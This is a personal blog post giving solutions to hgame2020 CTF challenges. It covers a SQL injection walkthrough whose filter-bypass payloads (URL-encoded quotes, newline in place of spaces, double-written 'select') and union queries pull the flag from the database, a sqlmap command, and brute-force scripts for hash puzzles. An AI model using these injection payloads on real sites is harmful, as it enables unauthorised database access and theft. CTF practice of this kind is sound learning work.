DGZ's Blog.

hgame2020 杂记录-1

Word count: 507Reading time: 2 min
2020/02/19 Share

hgame2020 杂记录-1

标签(空格分隔): 未分类


Cosmos的留言板-1

题目url:

http://139.199.182.61/index.php?id=1

简单测试一下

1# 回显:id=1 过滤了# 而1%23 回显1#,用url编码即可绕过
-1 OR 1 =1 回显:id:-1OR1=1 过滤了空格
1, 回显:id=1, 逗号未被过滤,但是没有用到逗号
1+ 回显:id=1 过滤了+, select同理,而1seselectlect回显1select,用双写可以绕过

主要是绕过对空格的过滤,用了$/**/$ ,后面发现直接%0a(换行符)也可以,还更直接…
再试了一下%a0 %0b %0c %0d 也可以
我不太明白的是为什么要手动转义,输入符号到地址栏里不会自己转成url编码,要自己提前转换;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
记住一个流程,库——表——列——数据
#(1)库
id=-1' union seselectlect database()#
id=-1%27%0aunion+%0aseselectlect+%0adatabase()%23
回显:easysql
#(2)表
id=-1' union seselectlect group_concat(table_name) from information_schema.tables where table_schema='easysql'#
id=-1%27%0aunion%0aseselectlect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema%3d%27easysql%27%23
回显:f1aggggggggggggg,messages
#(3)列
id=-1’ union seselectlect group_concat(column_name) from information_schema.columns where table_name='f1aggggggggggggg' and table_schema='easysql'#
id=-1%27%0aunion%0aseselectlect%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name%3d%27f1aggggggggggggg%27%0aand%0atable_schema%3d%27easysql%27%23
回显:fl4444444g
#(4)数据
id=-1' union seselectlect fl4444444g from f1aggggggggggggg#
id=-1%27%0aunion%0aseselectlect+%0afl4444444g%0afrom%0af1aggggggggggggg%23
回显:hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}

当然要试验一下sqlmap能不能跑

1
sqlmap -u "http://139.199.182.61/index.php?id=1" -p id --dbs

简单的POW脚本(sha256)

sha256(XXXX+bgiFjnj4kJ2Kmzc3) == 0e9428c95bc1832c1d0365665dbcea4d683a627ed63ed129163abf1684f21e4e
要求发送XXXX 

1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
cipher="0e9428c95bc1832c1d0365665dbcea4d683a627ed63ed129163abf1684f21e4e"
wenben="1234567890zxcvbnmasdfghjklqwertyuiopZXCVBNMASDFGHJKLQWERTYUIOP"

for a in range(0,62):
for b in range(0,62):
for c in range(0,62):
for d in range(0,62):
x=wenben[a]+wenben[b]+wenben[c]+wenben[d]
sha=hashlib.sha256(x.encode("utf-8")+b"bgiFjnj4kJ2Kmzc3").hexdigest()
if sha == cipher:
print (x)

结果:
o70Q
[Finished in 41.1s]

看wp好像可以省略这一步的

简单的验证码(md5)

md5(code)[0:6]==f71f55
要求发送code

1
2
3
4
5
6
import hashlib
for i in range(1, 100000001):
s = hashlib.md5(str(i).encode('utf-8')).hexdigest()[0:6]
if s == "f71f55":
print(i)
break

结果:

14050069
[Finished in 39.3s]

CATALOG
  1. 1. hgame2020 杂记录-1
    1. 1.0.1. Cosmos的留言板-1
    2. 1.0.2. 简单的POW脚本(sha256)
    3. 1.0.3. 简单的验证码(md5)